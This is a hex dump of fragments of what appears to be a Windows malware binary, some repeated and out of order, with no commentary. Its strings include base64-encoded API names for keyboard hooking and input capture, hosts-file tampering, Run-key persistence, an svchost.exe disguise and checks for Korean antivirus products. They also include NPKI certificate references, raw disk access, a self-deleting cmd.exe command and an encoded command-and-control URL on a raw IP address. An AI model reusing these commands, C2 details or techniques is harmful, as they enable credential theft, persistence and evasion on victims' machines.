0x1494f	0057696e537461305c44656661756c74	.WinSta0\Default
0x1495f	002200000047657455726c4361636865	."...GetUrlCache
0x1496f	456e747279496e666f4100000055524c	EntryInfoA...URL
0x1497f	446f776e6c6f6164546f436163686546	DownloadToCacheF
0x1498f	696c65410077696e696e65742e646c6c	ileA.wininet.dll
0x1499f	0075726c6d6f6e2e646c6c0000687474	.urlmon.dll..htt
0x149af	70000000005457393661577873595338	p....TW96aWxsYS8
0x149bf	314c6a41674b466470626d527664334d	1LjAgKFdpbmRvd3M
0x149cf	374946553749466470626d527664334d	7IFU7IFdpbmRvd3M
0x149df	67546c51674e6934784f794236614331	gTlQgNi4xOyB6aC1
0x149ef	44546a7367636e59364d5334354c6a49	DTjsgcnY6MS45LjI
0x149ff	754d5455704945646c593274764c7a49	uMTUpIEdlY2tvLzI
0x14a0f	774d5445774d7a417a49455a70636d56	wMTEwMzAzIEZpcmV
0x14a1f	6d623367764d7934324c6a4531000000	mb3gvMy42LjE1...
0x14a2f	005457393661577873595338304c6a41	.TW96aWxsYS80LjA
0x14a3f	674b474e766258426864476c69624755	gKGNvbXBhdGlibGU
0x14a4f	70000000003a0000005d0000005b0000	p....:...]...[..
0x14a5f	005f0000007469746c650000004d6f7a	._...title...Moz
0x14a6f	696c6c612f342e302028636f6d706174	illa/4.0 (compat
0x14a7f	69626c653b204d53494520382e303b20	ible; MSIE 8.0;
0x14a8f	57696e646f7773204e5420362e302900	Windows NT 6.0).
0x14a9f	006148523063446f764c324a73623263	.aHR0cDovL2Jsb2c
0x14aaf	7563326c755953356a62323075593234	uc2luYS5jb20uY24
0x14abf	766453386c63773d3d00000000584752	vdS8lcw==....XGR
0x14acf	7961585a6c636e4e635a58526a584768	yaXZlcnNcZXRjXGh
0x14adf	766333527a4c6d6c6a63773d3d000000	vc3RzLmljcw==...
0x14aef	005847527961585a6c636e4e635a5852	.XGRyaXZlcnNcZXR
0x14aff	6a584768766333527a00000000536553	jXGhvc3Rz....SeS
0x14b0f	687574646f776e50726976696c656765	hutdownPrivilege
0x14b1f	0027f471f3fbbc82ca5773e2b035e1b8	.'.q.....Ws..5..
0x14b2f	00353736323437393039330000307835	.5762479093..0x5
0x14b3f	64363572343535660044697370000000	d65r455f.Disp...
0x14b4f	00257320222573222c44697370617463	.%s "%s",Dispatc

0x13088	523256305457396b6457786c53474675	R2V0TW9kdWxlSGFu
0x13098	5a47786c51513d3d000000005532786c	ZGxlQQ==....U2xl
0x130a8	5a58413d00000000535735305a584a75	ZXA=....SW50ZXJu
0x130b8	5a5852506347567551513d3d00000000	ZXRPcGVuQQ==....
0x130c8	535735305a584a755a58525063475675	SW50ZXJuZXRPcGVu
0x130d8	56584a7351513d3d0000000053573530	VXJsQQ==....SW50
0x130e8	5a584a755a5852535a57466b526d6c73	ZXJuZXRSZWFkRmls
0x130f8	5a513d3d00000000535735305a584a75	ZQ==....SW50ZXJu
0x13108	5a5852446247397a5a556868626d5273	ZXRDbG9zZUhhbmRs
0x13118	5a513d3d0000000051334a6c5958526c	ZQ==....Q3JlYXRl
0x13128	52476c795a574e3062334a3551513d3d	RGlyZWN0b3J5QQ==
0x13138	00000000544739685a454e31636e4e76	....TG9hZEN1cnNv
0x13148	636b453d000000005247567a64484a76	ckE=....RGVzdHJv
0x13158	65554e31636e4e7663673d3d00000000	eUN1cnNvcg==....
0x13168	516d78765932744a626e423164413d3d	QmxvY2tJbnB1dA==
0x13178	0000000061325635596d52665a585a6c	....a2V5YmRfZXZl
0x13188	626e513d000000006257393163325666	bnQ=....bW91c2Vf
0x13198	5a585a6c626e513d0000000054574677	ZXZlbnQ=....TWFw
0x131a8	566d6c79644856686245746c6555453d	VmlydHVhbEtleUE=
0x131b8	0000000055325630564768795a57466b	....U2V0VGhyZWFk
0x131c8	5247567a6133527663413d3d00000000	RGVza3RvcA==....
0x131d8	5232563056584e6c636b3969616d566a	R2V0VXNlck9iamVj
0x131e8	64456c755a6d39796257463061573975	dEluZm9ybWF0aW9u
0x131f8	51513d3d000000005232563056476879	QQ==....R2V0VGhy
0x13208	5a57466b5247567a6133527663413d3d	ZWFkRGVza3RvcA==
0x13218	0000000053573174556d56735a57467a	....SW1tUmVsZWFz
0x13228	5a554e76626e526c6548513d00000000	ZUNvbnRleHQ=....
0x13238	553068485a5852546347566a61574673	U0hHZXRTcGVjaWFs
0x13248	526d39735a475679554746306145453d	Rm9sZGVyUGF0aEE=
0x13258	0000000056315254526e4a6c5a55316c	....V1RTRnJlZU1l
0x13268	6257397965513d3d0000000055325675	bW9yeQ==....U2Vu
0x13278	5a45316c63334e685a32564200000000	ZE1lc3NhZ2VB....
0x13288	5532563051324677644856795a513d3d	U2V0Q2FwdHVyZQ==
0x13298	0000000056326c755a473933526e4a76	....V2luZG93RnJv
0x132a8	62564276615735300000000055325630	bVBvaW50....U2V0
0x132b8	5132787063474a7659584a6b52474630	Q2xpcGJvYXJkRGF0
0x132c8	59513d3d000000005532563051335679	YQ==....U2V0Q3Vy
0x132d8	633239795547397a0000000052325630	c29yUG9z....R2V0
0x132e8	566d567963326c76626b563451513d3d	VmVyc2lvbkV4QQ==
0x132f8	000000005232563051335679636d5675	....R2V0Q3VycmVu
0x13308	6446526f636d56685a456c6b00000000	dFRocmVhZElk....
0x13318	52327876596d46735457567462334a35	R2xvYmFsTWVtb3J5
0x13328	553352686448567a000000005547397a	U3RhdHVz....UG9z
0x13338	6445316c63334e685a32564200000000	dE1lc3NhZ2VB....
0x13348	5258687064466470626d527664334e46	RXhpdFdpbmRvd3NF
0x13358	65413d3d000000005257353162566470	eA==....RW51bVdp
0x13368	626d527664334d3d00000000526e4a6c	bmRvd3M=....RnJl
0x13378	5a554e76626e4e766247553d00000000	ZUNvbnNvbGU=....

0x12af0	00000000000000000000000000000000	................
0x12b00	00000000000000004e504b4900000000	........NPKI....
0x12b10	00000000000000000000000000000000	................
0x12b20	4142434445464748494a4b4c4d4e4f50	ABCDEFGHIJKLMNOP
0x12b30	5152535455565758595a616263646566	QRSTUVWXYZabcdef
0x12b40	6768696a6b6c6d6e6f70717273747576	ghijklmnopqrstuv
0x12b50	7778797a303132333435363738392b2f	wxyz0123456789+/
0x12b60	0000000062584e3259334a304c6d5273	....bXN2Y3J0LmRs
0x12b70	62413d3d000000006433527a59584270	bA==....d3RzYXBp
0x12b80	4d7a49755a4778730000000061573174	MzIuZGxs....aW1t
0x12b90	4d7a49755a4778730000000064334d79	MzIuZGxs....d3My
0x12ba0	587a4d794c6d527362413d3d00000000	XzMyLmRsbA==....
0x12bb0	62584e325a6e637a4d69356b6247773d	bXN2ZnczMi5kbGw=
0x12bc0	000000005a3252704d7a49755a477873	....Z2RpMzIuZGxs
0x12bd0	0000000059585a70593246774d7a4975	....YXZpY2FwMzIu
0x12be0	5a477873000000006332686c6247777a	ZGxs....c2hlbGwz
0x12bf0	4d69356b6247773d0000000055326873	Mi5kbGw=....U2hs
0x12c00	643246776153356b6247773d00000000	d2FwaS5kbGw=....
0x12c10	5358426f6248426863476b755a477873	SXBobHBhcGkuZGxs
0x12c20	00000000626d5630595842704d7a4975	....bmV0YXBpMzIu
0x12c30	5a4778730000000064326c756157356c	ZGxs....d2luaW5l
0x12c40	6443356b6247773d0000000064584e6c	dC5kbGw=....dXNl
0x12c50	636a4d794c6d527362413d3d00000000	cjMyLmRsbA==....
0x12c60	63484e6863476b755a47787300000000	cHNhcGkuZGxs....
0x12c70	59575232595842704d7a49755a477873	YWR2YXBpMzIuZGxs
0x12c80	0000000061325679626d56734d7a4975	....a2VybmVsMzIu
0x12c90	5a477873000000005532563052584a79	ZGxs....U2V0RXJy
0x12ca0	62334a4e6232526c0000000062484e30	b3JNb2Rl....bHN0
0x12cb0	636d4e686445453d0000000062484e30	cmNhdEE=....bHN0
0x12cc0	636d4e7463476c420000000051334a6c	cmNtcGlB....Q3Jl
0x12cd0	5958526c526d6c735a55316863484270	YXRlRmlsZU1hcHBp
0x12ce0	626d644200000000523256305447396a	bmdB....R2V0TG9j
0x12cf0	595778556157316c0000000053475668	YWxUaW1l....SGVh
0x12d00	63455a795a57553d0000000054574677	cEZyZWU=....TWFw
0x12d10	566d6c6c6430396d526d6c735a513d3d	Vmlld09mRmlsZQ==
0x12d20	000000005232563053325635546d4674	....R2V0S2V5TmFt
0x12d30	5a56526c654852420000000055325630	ZVRleHRB....U2V0
0x12d40	56326c755a4739336330687662327446	V2luZG93c0hvb2tF
0x12d50	6545453d00000000513246736245356c	eEE=....Q2FsbE5l
0x12d60	65485249623239725258673d00000000	eHRIb29rRXg=....
0x12d70	5657356f6232397256326c755a473933	VW5ob29rV2luZG93
0x12d80	633068766232744665413d3d00000000	c0hvb2tFeA==....
0x12d90	5232563056326c755a47393363305270	R2V0V2luZG93c0Rp
0x12da0	636d566a644739796555453d00000000	cmVjdG9yeUE=....
0x12db0	5232563055484a70646d46305a564279	R2V0UHJpdmF0ZVBy
0x12dc0	62325a70624756545a574e3061573975	b2ZpbGVTZWN0aW9u
0x12dd0	546d46745a584e420000000052325630	TmFtZXNB....R2V0
0x12de0	55484a70646d46305a56427962325a70	UHJpdmF0ZVByb2Zp

0x1485f	0073000000633a5c77696e646f77735c	.s...c:\windows\
0x1486f	73797374656d33325c64726976657273	system32\drivers
0x1487f	5c25735c25730000004d25730025735c	\%s\%s...M%s.%s\
0x1488f	76657273696f6e2e7478740000257300	version.txt..%s.
0x1489f	0057696e202573205350256400370000	.Win %s SP%d.7..
0x148af	00323030380000000056697374610000	.2008....Vista..
0x148bf	00323030330000000058500000323030	.2003....XP..200
0x148cf	30000000004e540000687474703a2f2f	0....NT..http://
0x148df	0025735c6c616e672e696e6900736561	.%s\lang.ini.sea
0x148ef	72636800002575204d4200000046696e	rch..%u MB...Fin
0x148ff	6420435055204572726f72000050726f	d CPU Error..Pro
0x1490f	636573736f724e616d65537472696e67	cessorNameString
0x1491f	0048415244574152455c444553435249	.HARDWARE\DESCRI
0x1492f	5054494f4e5c53797374656d5c43656e	PTION\System\Cen
0x1493f	7472616c50726f636573736f725c3000	tralProcessor\0.
0x1494f	0057696e537461305c44656661756c74	.WinSta0\Default
0x1495f	002200000047657455726c4361636865	."...GetUrlCache
0x1496f	456e747279496e666f4100000055524c	EntryInfoA...URL
0x1497f	446f776e6c6f6164546f436163686546	DownloadToCacheF
0x1498f	696c65410077696e696e65742e646c6c	ileA.wininet.dll
0x1499f	0075726c6d6f6e2e646c6c0000687474	.urlmon.dll..htt
0x149af	70000000005457393661577873595338	p....TW96aWxsYS8
0x149bf	314c6a41674b466470626d527664334d	1LjAgKFdpbmRvd3M
0x149cf	374946553749466470626d527664334d	7IFU7IFdpbmRvd3M
0x149df	67546c51674e6934784f794236614331	gTlQgNi4xOyB6aC1
0x149ef	44546a7367636e59364d5334354c6a49	DTjsgcnY6MS45LjI
0x149ff	754d5455704945646c593274764c7a49	uMTUpIEdlY2tvLzI
0x14a0f	774d5445774d7a417a49455a70636d56	wMTEwMzAzIEZpcmV
0x14a1f	6d623367764d7934324c6a4531000000	mb3gvMy42LjE1...
0x14a2f	005457393661577873595338304c6a41	.TW96aWxsYS80LjA
0x14a3f	674b474e766258426864476c69624755	gKGNvbXBhdGlibGU
0x14a4f	70000000003a0000005d0000005b0000	p....:...]...[..
0x14a5f	005f0000007469746c650000004d6f7a	._...title...Moz
0x14a6f	696c6c612f342e302028636f6d706174	illa/4.0 (compat
0x14a7f	69626c653b204d53494520382e303b20	ible; MSIE 8.0;
0x14a8f	57696e646f7773204e5420362e302900	Windows NT 6.0).
0x14a9f	006148523063446f764c324a73623263	.aHR0cDovL2Jsb2c
0x14aaf	7563326c755953356a62323075593234	uc2luYS5jb20uY24
0x14abf	766453386c63773d3d00000000584752	vdS8lcw==....XGR
0x14acf	7961585a6c636e4e635a58526a584768	yaXZlcnNcZXRjXGh
0x14adf	766333527a4c6d6c6a63773d3d000000	vc3RzLmljcw==...
0x14aef	005847527961585a6c636e4e635a5852	.XGRyaXZlcnNcZXR
0x14aff	6a584768766333527a00000000536553	jXGhvc3Rz....SeS
0x14b0f	687574646f776e50726976696c656765	hutdownPrivilege
0x14b1f	0027f471f3fbbc82ca5773e2b035e1b8	.'.q.....Ws..5..
0x14b2f	00353736323437393039330000307835	.5762479093..0x5
0x14b3f	64363572343535660044697370000000	d65r455f.Disp...
0x14b4f	00257320222573222c44697370617463	.%s "%s",Dispatc

0x14c54	5365617263684f726465720047617465	SearchOrder.Gate
0x14c64	776179436f73744d6574726963000000	wayCostMetric...
0x14c74	44656661756c74495047617465776179	DefaultIPGateway
0x14c84	00000000536574476174657761797300	....SetGateways.
0x14c94	57696e33325f4e6574776f726b416461	Win32_NetworkAda
0x14ca4	70746572436f6e66696775726174696f	pterConfiguratio
0x14cb4	6e2e496e6465783d00000000496e6465	n.Index=....Inde
0x14cc4	7800000057696e33325f4e6574776f72	x...Win32_Networ
0x14cd4	6b41646170746572436f6e6669677572	kAdapterConfigur
0x14ce4	6174696f6e0000004950456e61626c65	ation...IPEnable
0x14cf4	643d5452554500002057484552452000	d=TRUE.. WHERE .
0x14d04	53454c454354202a2046524f4d200000	SELECT * FROM ..
0x14d14	52004f004f0054005c00430049004d00	R.O.O.T.\.C.I.M.
0x14d24	56003200000000002a0000005c000000	V.2.....*...\...
0x14d34	4c326c745957646c4c6e426f63413d3d	L2ltYWdlLnBocA==
0x14d44	000000002a2e2a00613a0000433a5c50	......a:..C:\P
0x14d54	726f6772616d2046696c657300000000	rogram Files....
0x14d64	5932316b4c6d56345a53417659794270	Y21kLmV4ZSAvYyBp
0x14d74	63474e76626d5a705a7941765a6d7831	cGNvbmZpZyAvZmx1
0x14d84	6332686b626e4d3d0000000073766368	c2hkbnM=....svch
0x14d94	736f742e657865005530394756466442	sot.exe.U09GVFdB
0x14da4	556b56635845317059334a766332396d	UkVcXE1pY3Jvc29m
0x14db4	6446786356326c755a47393363317863	dFxcV2luZG93c1xc
0x14dc4	51335679636d567564465a6c636e4e70	Q3VycmVudFZlcnNp
0x14dd4	6232356358464a3162673d3d00000000	b25cXFJ1bg==....
0x14de4	633a5c25642e6c6f6700000061485230	c:\%d.log...aHR0
0x14df4	63446f764c7a45774e7934784e6a4d75	cDovLzEwNy4xNjMu
0x14e04	4e5459754d5445774f6a45344e544d77	NTYuMTEwOjE4NTMw
0x14e14	4c3355784d5449354c6d68306257773d	L3UxMTI5Lmh0bWw=
0x14e24	000000005932316b4c6d56345a534176	....Y21kLmV4ZSAv
0x14e34	597942776157356e494445794e793477	YyBwaW5nIDEyNy4w
0x14e44	4c6a41754d5341746269417a4a6e4a6b	LjAuMSAtbiAzJnJk
0x14e54	4943397a494339784943496c6379493d	IC9zIC9xICIlcyI=
0x14e64	000000008325e0005c5c2e5c50485953	.....%..\\.\PHYS
0x14e74	4943414c445249564525640025303258	ICALDRIVE%d.%02X
0x14e84	25303258253032582530325825303258	%02X%02X%02X%02X
0x14e94	2530325800000000696e636f6d706174	%02X....incompat
0x14ea4	69626c652076657273696f6e00000000	ible version....
0x14eb4	627566666572206572726f7200000000	buffer error....
0x14ec4	696e73756666696369656e74206d656d	insufficient mem
0x14ed4	6f72790064617461206572726f720000	ory.data error..
0x14ee4	73747265616d206572726f7200000000	stream error....
0x14ef4	66696c65206572726f72000073747265	file error..stre
0x14f04	616d20656e6400006e65656420646963	am end..need dic

0x14598	00000000257325730d0a0000a1be2559	....%s%s......%Y
0x145a8	2d256d2d25642025483a254da1bf0000	-%m-%d %H:%M....
0x145b8	6c6f672e7478740025732e2564000000	log.txt.%s.%d...
0x145c8	517a706358466470626d527664334e63	QzpcXFdpbmRvd3Nc
0x145d8	58445a444e4552424e6b5a435846787a	XDZDNERBNkZCXFxz
0x145e8	646d4e6f633239304c6e5a7063673d3d	dmNoc290LnZpcg==
0x145f8	00000000517a706358466470626d5276	....QzpcXFdpbmRv
0x14608	64334e6358445a444e4552424e6b5a43	d3NcXDZDNERBNkZC
0x14618	5846787a646d4e6f633239304c6d5634	XFxzdmNoc290LmV4
0x14628	5a513d3d0000000073656c6600000000	ZQ==....self....
0x14638	636d642e657865005158427762476c6a	cmd.exe.QXBwbGlj
0x14648	595852706232357a5846785754586468	YXRpb25zXFxWTXdh
0x14658	636d564962334e305433426c6269356c	cmVIb3N0T3Blbi5l
0x14668	6547553d00000000476574457874656e	eGU=....GetExten
0x14678	6465645564705461626c65006970686c	dedUdpTable.iphl
0x14688	706170692e646c6c0000000025735c25	papi.dll....%s\%
0x14698	730000005c2a2e2a0000000031323300	s...\.....123.
0x146a8	76336c697465000061686e6c61620000	v3lite..ahnlab..
0x146b8	616c79616300000025737c003132372e	alyac...%s\|.127.
0x146c8	302e302e31000000382e382e382e3800	0.0.1...8.8.8.8.
0x146d8	5a58526a584768766333527a00000000	ZXRjXGhvc3Rz....
0x146e8	737663686f73742e657865202d6b204e	svchost.exe -k N
0x146f8	6574776f726b53657276696365000000	etworkService...
0x14708	737663686f73742e6578650050007200	svchost.exe.P.r.
0x14718	6f006300650073007300490044000000	o.c.e.s.s.I.D...
0x14728	43006f006d006d0061006e0064004c00	C.o.m.m.a.n.d.L.
0x14738	69006e00650000004e0061006d006500	i.n.e...N.a.m.e.
0x14748	0000000057514c00530045004c004500	....WQL.S.E.L.E.
0x14758	4300540020002a002000460052004f00	C.T. .*. .F.R.O.
0x14768	4d00200000000000255b5e005d730000	M. .....%[^.]s..
0x14778	5365446562756750726976696c656765	SeDebugPrivilege
0x14788	000000000d0a00002020202000000000	........ ....
0x14798	597a706364326c755a4739336331787a	Yzpcd2luZG93c1xz
0x147a8	65584e305a57307a4d6c786b636d6c32	eXN0ZW0zMlxkcml2
0x147b8	5a584a7a584756305931776c5979566a	ZXJzXGV0Y1wlYyVj
0x147c8	4a574d754a574d6c5979566a00000000	JWMuJWMlYyVj....
0x147d8	597a706364326c755a4739336331787a	Yzpcd2luZG93c1xz
0x147e8	65584e305a57307a4d6c786b636d6c32	eXN0ZW0zMlxkcml2
0x147f8	5a584a7a5843567a5843567a00000000	ZXJzXCVzXCVz....

0x3759	005356be385201105756ff750c50e849	.SV.8R..WV.u.P.I
0x3769	e7020085c0740356eb1053e85b240200	.....t.V..S.[$..
0x3779	394508751368305201106a00e8affdff	9E.u.h0R..j.....
0x3789	ff5959e9a7000000ff7508e87fffffff	.YY......u......
0x3799	8b35b0e00010c70424d0070000ffd6bb	.5......$.......
0x37a9	fc51011053e84dccffff5fe8f0db0300	.Q..S.M..._.....
0x37b9	5950ffd76a0168c8510110e837ccffff	YP..j.h.Q...7...
0x37c9	595053e82fccffff50e80b2e02005950	YPS./...P.....YP
0x37d9	ffd3ff750cffd768e8030000ffd6ff75	...u...h.......u
0x37e9	0ce8034d02002485c0744480a5fcfeff	...M..$..tD.....
0x37f9	ff006a405933c08dbdfdfefffff3ab66	..j@Y3.........f
0x3809	abaae867cf030044508d85fcfeffffff	...g...DP.......
0x3819	750c68c051011050ff1548	u.h.Q..P..H

0x4af0	0cebe457e8af75000059ff35f45f0110	...W..u..Y.5._..
0x4b00	57e817ac02005f8bc35e5bc9c2040055	W....._..^[....U
0x4b10	8becb848120000e804760000535657e8	...H.....v..SVW.
0x4b20	affaffff8065c0006a0f5933c08d7dc1	.....e..j.Y3..}.
0x4b30	8b3548e20010f3ab66abbba465011068	.5H.....f...e..h
0x4b40	a8650110aa538d45c0682854011050ff	.e...S.E.h(T..P.
0x4b50	d680a5b8edffff00b9ff03000033c08d	.............3..
0x4b60	bdb9edfffff3ab66abaa8d85b8edffff	.......f........
0x4b70	50e8a2fbffff80a5bcfeffff006a4059	P............j@Y
0x4b80	33c08dbdbdfeffff80a5b8fdffff00f3	3...............
0x4b90	ab66abaa6a4033c0598dbdb9fdfffff3	.f..j@3.Y.......
0x4ba0	ab66abaa538d85bcfeffff6808540110	.f..S......h.T..
0x4bb0	50ffd668a8650110538d85	P..h.e..S..

0x55e53	24616c6c6f6361746f72404440324040	$allocator@D@2@@
0x55e63	73746440404341504244585a40344442	std@@CAPBDXZ@4DB
0x55e73	00000000004e455441504933322e646c	.....NETAPI32.dl
0x55e83	6c0000000000004e657462696f730000	l......Netbios..
0x55e93	4d5a90000300000004000000ffff0000	MZ..............
0x55ea3	b8000000000000004000000000000000	........@.......
0x55eb3	0000000000080c0048e101565753558b	........H..VWSU.
0x55ec3	5c241c85db0f84ab21e8bd0ee6600d0b	\$......!....`..
0x55ed3	6b65726e6c33322e64144406b8ff1385	kernl32.d.D.....
0x55ee3	c0388f8bf0e80c3386e3ec0069727475	.8.....3....irtu
0x55ef3	616c466518ff53043ea3d0c4ff8be872	alFe..S.>......r
0x55f03	1b41a33387156e6f631c588b24147c8f	.A.3..noc.X.$.\|.
0x55f13	c1f9a1186a681048ff3660f8813908d0	....jh.H.6`..9..
0x55f23	333f8bd8505476045708088d460f42d5	3?..PTv.W...F.B.
0x55f33	c9f9b60c050d300cff110e5053e823	......0....PS.#

0x4c7a0	663689109c8d642430e9291c000066c7	f6....d$0.)...f.
0x4c7b0	0424de9f895500e91e0b0000ff342466	.$...U.......4$f
0x4c7c0	368910609c9c8d642430e9081c000031	6..`...d$0.....1
0x4c7d0	c09c687baaef90e9e6070000ff3532ef	..h{.........52.
0x4c7e0	04108f0424660fbef066ffcd68000000	....$f...f..h...
0x4c7f0	0060e819060000e87e0e0000660fa3c0	.`......~...f...
0x4c800	f6d0e97b07000060e868020000e9e80d	...{...`.h......
0x4c810	0000e90d090000e8721b000066014504	........r...f.E.
0x4c820	60529c8f442424e9c608000089742440	`R..D$$......t$@
0x4c830	e8470c0000e8ed1b0000895c243c5268	.G.........\$<Rh
0x4c840	35c9ed818d642444e9cc0f0000660fa4	5....d$D.....f..
0x4c850	f00ad3f88b45000f8898190000f6c1b3	.....E..........
0x4c860	9c6685fa83c5029c66368b00e8b11200	.f......f6......
0x4c870	009c668945009cff742408ff7424048d	..f.E...t$..t$..
0x4c880	642414e94f1b000066f7c3add8f82f89	d$..O...f...../.
0x4c890	ecd0fd87cb660fbec959660fbafb0766	.....f...Yf....f
0x4c8a0	d3dd5b688e0e7f39f6d98b6c240481db	..[h...9...l$...
0x4c8b0	ea30a27dd46b660f	.0.}.kf.

0x13918	63335279000000005232563055326876	c3Ry....R2V0U2hv
0x13928	636e52515958526f546d46745a55453d	cnRQYXRoTmFtZUE=
0x13938	0000000052325630544739755a314268	....R2V0TG9uZ1Bh
0x13948	6447684f5957316c51513d3d00000000	dGhOYW1lQQ==....
0x13958	52325630566d39736457316c5357356d	R2V0Vm9sdW1lSW5m
0x13968	62334a74595852706232354200000000	b3JtYXRpb25B....
0x13978	52325630526d6c735a55463064484a70	R2V0RmlsZUF0dHJp
0x13988	596e56305a584e420000000052325630	YnV0ZXNB....R2V0
0x13998	5447396e61574e686245527961585a6c	TG9naWNhbERyaXZl
0x139a8	553352796157356e6330453d00000000	U3RyaW5nc0E=....
0x139b8	52325630526d6c735a564e70656d553d	R2V0RmlsZVNpemU=
0x139c8	000000005232563052484a70646d5655	....R2V0RHJpdmVU
0x139d8	6558426c51513d3d0000000053573530	eXBlQQ==....SW50
0x139e8	5a584a7362324e725a57524665474e6f	ZXJsb2NrZWRFeGNo
0x139f8	5957356e5a513d3d0000000052325630	YW5nZQ==....R2V0
0x13a08	52476c7a61305a795a5756546347466a	RGlza0ZyZWVTcGFj
0x13a18	5a55563451513d3d0000000051334a6c	ZUV4QQ==....Q3Jl
0x13a28	5958526c526d6c735a55453d00000000	YXRlRmlsZUE=....
0x13a38	556d56685a455a706247553d00000000	UmVhZEZpbGU=....
0x13a48	5447396a595778535a5546736247396a	TG9jYWxSZUFsbG9j
0x13a58	00000000526d6c755a455a70636e4e30	....RmluZEZpcnN0
0x13a68	526d6c735a55453d00000000	RmlsZUE=....

0x14c54	5365617263684f726465720047617465	SearchOrder.Gate
0x14c64	776179436f73744d6574726963000000	wayCostMetric...
0x14c74	44656661756c74495047617465776179	DefaultIPGateway
0x14c84	00000000536574476174657761797300	....SetGateways.
0x14c94	57696e33325f4e6574776f726b416461	Win32_NetworkAda
0x14ca4	70746572436f6e66696775726174696f	pterConfiguratio
0x14cb4	6e2e496e6465783d00000000496e6465	n.Index=....Inde
0x14cc4	7800000057696e33325f4e6574776f72	x...Win32_Networ
0x14cd4	6b41646170746572436f6e6669677572	kAdapterConfigur
0x14ce4	6174696f6e0000004950456e61626c65	ation...IPEnable
0x14cf4	643d5452554500002057484552452000	d=TRUE.. WHERE .
0x14d04	53454c454354202a2046524f4d200000	SELECT * FROM ..
0x14d14	52004f004f0054005c00430049004d00	R.O.O.T.\.C.I.M.
0x14d24	56003200000000002a0000005c000000	V.2.....*...\...
0x14d34	4c326c745957646c4c6e426f63413d3d	L2ltYWdlLnBocA==
0x14d44	000000002a2e2a00613a0000433a5c50	......a:..C:\P
0x14d54	726f6772616d2046696c657300000000	rogram Files....
0x14d64	5932316b4c6d56345a53417659794270	Y21kLmV4ZSAvYyBp
0x14d74	63474e76626d5a705a7941765a6d7831	cGNvbmZpZyAvZmx1
0x14d84	6332686b626e4d3d0000000073766368	c2hkbnM=....svch
0x14d94	736f742e657865005530394756466442	sot.exe.U09GVFdB
0x14da4	556b56635845317059334a766332396d	UkVcXE1pY3Jvc29m
0x14db4	6446786356326c755a47393363317863	dFxcV2luZG93c1xc
0x14dc4	51335679636d567564465a6c636e4e70	Q3VycmVudFZlcnNp
0x14dd4	6232356358464a3162673d3d00000000	b25cXFJ1bg==....
0x14de4	633a5c25642e6c6f6700000061485230	c:\%d.log...aHR0
0x14df4	63446f764c7a45774e7934784e6a4d75	cDovLzEwNy4xNjMu
0x14e04	4e5459754d5445774f6a45344e544d77	NTYuMTEwOjE4NTMw
0x14e14	4c3355784d5449354c6d68306257773d	L3UxMTI5Lmh0bWw=
0x14e24	000000005932316b4c6d56345a534176	....Y21kLmV4ZSAv
0x14e34	597942776157356e494445794e793477	YyBwaW5nIDEyNy4w
0x14e44	4c6a41754d5341746269417a4a6e4a6b	LjAuMSAtbiAzJnJk
0x14e54	4943397a494339784943496c6379493d	IC9zIC9xICIlcyI=
0x14e64	000000008325e0005c5c2e5c50485953	.....%..\\.\PHYS
0x14e74	4943414c445249564525640025303258	ICALDRIVE%d.%02X
0x14e84	25303258253032582530325825303258	%02X%02X%02X%02X
0x14e94	2530325800000000696e636f6d706174	%02X....incompat
0x14ea4	69626c652076657273696f6e00000000	ible version....
0x14eb4	627566666572206572726f7200000000	buffer error....
0x14ec4	696e73756666696369656e74206d656d	insufficient mem
0x14ed4	6f72790064617461206572726f720000	ory.data error..
0x14ee4	73747265616d206572726f7200000000	stream error....
0x14ef4	66696c65206572726f72000073747265	file error..stre
0x14f04	616d20656e6400006e65656420646963	am end..need dic

0x1059c	06db0d071589ab4f8a349cd944965ffc	.......O.4..D._.
0x105ac	2e2f7842650044b48fa0773b778cf3b3	./xBe.D...w;w...
0x105bc	eaeb8efbb1a14f275500f349c26bb0b2	......O'U..I.k..
0x105cc	9c6a079e8b766e74646c6c2e646c6c00	.j...vntdll.dll.
0x105dc	50534150492e444c4c003addecd07cc3	PSAPI.DLL.:...\|.
0x105ec	dad79ffb56c16597de7d9800fa2e6748	....V.e..}....gH
0x105fc	6425beba2a1303f7e9ddad0f3bc1e768	d%..*.......;..h
0x1060c	bdad37bf7b6943abf61319c86f9cb7e3	..7.{iC.....o...
0x1061c	29599e00c0bac8c45bb91c30b54e4201	)Y......[..0.NB.
0x1062c	a2745abf0df6e428bc7e1900eb822934	.tZ....(.~....)4
0x1063c	eb62919a0b273027a1518b1bfd00819b	.b...'0'.Q......
0x1064c	63bea8492ec7ae08221e59d696089d36	c..I....".Y....6
0x1065c	9b1da9e9c4	.....

0x13088	523256305457396b6457786c53474675	R2V0TW9kdWxlSGFu
0x13098	5a47786c51513d3d000000005532786c	ZGxlQQ==....U2xl
0x130a8	5a58413d00000000535735305a584a75	ZXA=....SW50ZXJu
0x130b8	5a5852506347567551513d3d00000000	ZXRPcGVuQQ==....
0x130c8	535735305a584a755a58525063475675	SW50ZXJuZXRPcGVu
0x130d8	56584a7351513d3d0000000053573530	VXJsQQ==....SW50
0x130e8	5a584a755a5852535a57466b526d6c73	ZXJuZXRSZWFkRmls
0x130f8	5a513d3d00000000535735305a584a75	ZQ==....SW50ZXJu
0x13108	5a5852446247397a5a556868626d5273	ZXRDbG9zZUhhbmRs
0x13118	5a513d3d0000000051334a6c5958526c	ZQ==....Q3JlYXRl
0x13128	52476c795a574e3062334a3551513d3d	RGlyZWN0b3J5QQ==
0x13138	00000000544739685a454e31636e4e76	....TG9hZEN1cnNv
0x13148	636b453d000000005247567a64484a76	ckE=....RGVzdHJv
0x13158	65554e31636e4e7663673d3d00000000	eUN1cnNvcg==....
0x13168	516d78765932744a626e423164413d3d	QmxvY2tJbnB1dA==
0x13178	0000000061325635596d52665a585a6c	....a2V5YmRfZXZl
0x13188	626e513d000000006257393163325666	bnQ=....bW91c2Vf
0x13198	5a585a6c626e513d0000000054574677	ZXZlbnQ=....TWFw
0x131a8	566d6c79644856686245746c6555453d	VmlydHVhbEtleUE=
0x131b8	0000000055325630564768795a57466b	....U2V0VGhyZWFk
0x131c8	5247567a6133527663413d3d00000000	RGVza3RvcA==....
0x131d8	5232563056584e6c636b3969616d566a	R2V0VXNlck9iamVj
0x131e8	64456c755a6d39796257463061573975	dEluZm9ybWF0aW9u
0x131f8	51513d3d000000005232563056476879	QQ==....R2V0VGhy
0x13208	5a57466b5247567a6133527663413d3d	ZWFkRGVza3RvcA==
0x13218	0000000053573174556d56735a57467a	....SW1tUmVsZWFz
0x13228	5a554e76626e526c6548513d00000000	ZUNvbnRleHQ=....
0x13238	553068485a5852546347566a61574673	U0hHZXRTcGVjaWFs
